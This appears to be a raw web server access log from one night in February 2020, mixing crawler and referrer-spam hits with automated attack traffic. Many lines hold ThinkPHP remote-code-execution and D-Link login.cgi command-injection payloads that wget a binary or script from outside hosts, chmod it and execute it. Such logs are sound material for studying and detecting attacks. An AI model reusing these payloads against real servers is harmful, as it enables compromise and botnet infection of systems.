188.138.75.88 - - [03/Feb/2020:00:01:15 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [03/Feb/2020:00:01:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.88 - - [03/Feb/2020:00:01:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
5.101.0.209 - - [03/Feb/2020:00:01:26 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:00:01:26 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
46.166.187.111 - - [03/Feb/2020:00:01:31 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
89.148.252.165 - - [03/Feb/2020:00:01:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.148.252.165 - - [03/Feb/2020:00:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
5.101.0.209 - - [03/Feb/2020:00:02:10 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:00:02:10 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:00:02:26 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:00:02:27 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
141.157.229.223 - - [03/Feb/2020:00:02:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
94.51.46.119 - - [03/Feb/2020:00:02:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [03/Feb/2020:00:03:04 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:00:03:05 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:00:03:08 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:00:03:08 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:00:05:17 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:00:06:04 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
138.0.227.76 - - [03/Feb/2020:00:06:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:00:06:21 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
139.199.71.117 - - [03/Feb/2020:00:06:40 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.199.71.117 - - [03/Feb/2020:00:06:41 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
5.101.0.209 - - [03/Feb/2020:00:07:01 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [03/Feb/2020:00:07:05 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
46.166.187.111 - - [03/Feb/2020:00:08:13 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
42.112.121.80 - - [03/Feb/2020:00:10:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.138.154.218 - - [03/Feb/2020:00:12:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
111.47.16.208 - - [03/Feb/2020:00:13:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.166.187.111 - - [03/Feb/2020:00:14:42 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
87.204.112.58 - - [03/Feb/2020:00:15:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
189.132.73.240 - - [03/Feb/2020:00:15:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.117.25.111 - - [03/Feb/2020:00:17:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.128.59 - - [03/Feb/2020:00:18:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.41.175 - - [03/Feb/2020:00:18:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
114.26.163.153 - - [03/Feb/2020:00:22:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.235 - - [03/Feb/2020:00:25:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.216.245.215 - - [03/Feb/2020:00:26:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
138.204.133.38 - - [03/Feb/2020:00:26:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
2.133.81.180 - - [03/Feb/2020:00:29:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.253.32 - - [03/Feb/2020:00:32:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.182.52.242 - - [03/Feb/2020:00:33:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.230.126.74 - - [03/Feb/2020:00:33:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
41.230.126.74 - - [03/Feb/2020:00:33:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.32.76.141 - - [03/Feb/2020:00:34:49 +0100] "GET ///admin/config.php HTTP/1.1" 404 321 "-" "python-requests/2.22.0"
41.230.90.164 - - [03/Feb/2020:00:43:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
46.166.187.111 - - [03/Feb/2020:00:43:23 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
36.2.197.125 - - [03/Feb/2020:00:43:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.119.170.254 - - [03/Feb/2020:00:46:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.137.36.6 - - [03/Feb/2020:00:46:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
111.35.39.157 - - [03/Feb/2020:00:47:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.57.26 - - [03/Feb/2020:00:48:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.211.97.85 - - [03/Feb/2020:00:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
154.125.133.223 - - [03/Feb/2020:00:50:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
114.226.198.236 - - [03/Feb/2020:00:50:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
27.142.249.93 - - [03/Feb/2020:00:50:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.65.103.37 - - [03/Feb/2020:00:50:22 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
27.141.200.95 - - [03/Feb/2020:00:50:46 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
94.65.103.37 - - [03/Feb/2020:00:51:42 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
58.186.78.50 - - [03/Feb/2020:00:51:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.102.221.72 - - [03/Feb/2020:00:52:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
46.118.124.65 - - [03/Feb/2020:00:53:04 +0100] "GET / HTTP/1.1" 200 1229 "https://izamorfix.ru/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
46.118.124.65 - - [03/Feb/2020:00:53:05 +0100] "GET / HTTP/1.1" 200 1229 "https://vseigry.fun/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.118.124.65 - - [03/Feb/2020:00:53:05 +0100] "GET / HTTP/1.1" 200 1229 "https://izamorfix.ru/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
46.118.124.65 - - [03/Feb/2020:00:53:05 +0100] "GET / HTTP/1.1" 200 1229 "https://vseigry.fun/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.118.124.65 - - [03/Feb/2020:00:53:05 +0100] "GET / HTTP/1.1" 200 1229 "https://izamorfix.ru/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
46.118.124.65 - - [03/Feb/2020:00:53:05 +0100] "GET / HTTP/1.1" 200 1229 "https://vseigry.fun/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
94.65.103.37 - - [03/Feb/2020:00:54:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
94.65.103.37 - - [03/Feb/2020:00:54:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
1.52.17.46 - - [03/Feb/2020:00:55:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.65.103.37 - - [03/Feb/2020:00:55:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
94.65.103.37 - - [03/Feb/2020:00:56:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
94.65.103.37 - - [03/Feb/2020:00:56:22 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
94.65.103.37 - - [03/Feb/2020:00:58:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
94.65.103.37 - - [03/Feb/2020:00:59:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
80.44.145.208 - - [03/Feb/2020:00:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
156.195.165.137 - - [03/Feb/2020:01:00:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.65.103.37 - - [03/Feb/2020:01:01:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
46.118.112.190 - - [03/Feb/2020:01:01:57 +0100] "GET / HTTP/1.1" 200 1229 "https://vulkan-oficial.com/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.118.112.190 - - [03/Feb/2020:01:01:57 +0100] "GET / HTTP/1.1" 200 1229 "https://vulkan-oficial.com/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.118.112.190 - - [03/Feb/2020:01:01:57 +0100] "GET / HTTP/1.1" 200 1229 "https://vulkan-oficial.com/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
90.186.35.169 - - [03/Feb/2020:01:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)"
61.220.75.34 - - [03/Feb/2020:01:05:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.51.46.119 - - [03/Feb/2020:01:06:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.65.255.134 - - [03/Feb/2020:01:06:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
27.205.44.223 - - [03/Feb/2020:01:06:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.94.69 - - [03/Feb/2020:01:07:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.143.220.189 - - [03/Feb/2020:01:08:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
180.124.15.157 - - [03/Feb/2020:01:08:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.143.220.189 - - [03/Feb/2020:01:12:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
45.143.220.189 - - [03/Feb/2020:01:14:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
106.13.60.69 - - [03/Feb/2020:01:15:01 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.13.60.69 - - [03/Feb/2020:01:15:02 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.13.60.69 - - [03/Feb/2020:01:15:02 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.13.60.69 - - [03/Feb/2020:01:15:03 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.13.60.69 - - [03/Feb/2020:01:15:05 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.13.60.69 - - [03/Feb/2020:01:15:05 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.13.60.69 - - [03/Feb/2020:01:15:06 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.13.60.69 - - [03/Feb/2020:01:15:06 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.13.60.69 - - [03/Feb/2020:01:15:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
45.143.220.189 - - [03/Feb/2020:01:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
42.119.115.86 - - [03/Feb/2020:01:18:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.54 - - [03/Feb/2020:01:18:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.143.220.189 - - [03/Feb/2020:01:19:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
95.245.134.102 - - [03/Feb/2020:01:20:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
95.245.134.102 - - [03/Feb/2020:01:20:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
95.245.134.102 - - [03/Feb/2020:01:20:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
95.245.134.102 - - [03/Feb/2020:01:20:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
95.245.134.102 - - [03/Feb/2020:01:20:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
95.245.134.102 - - [03/Feb/2020:01:20:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
95.245.134.102 - - [03/Feb/2020:01:20:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
95.245.134.102 - - [03/Feb/2020:01:20:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
95.245.134.102 - - [03/Feb/2020:01:20:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
95.245.134.102 - - [03/Feb/2020:01:20:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
217.76.42.78 - - [03/Feb/2020:01:20:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.89.144.131 - - [03/Feb/2020:01:20:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
42.112.6.199 - - [03/Feb/2020:01:21:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
80.26.154.92 - - [03/Feb/2020:01:22:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
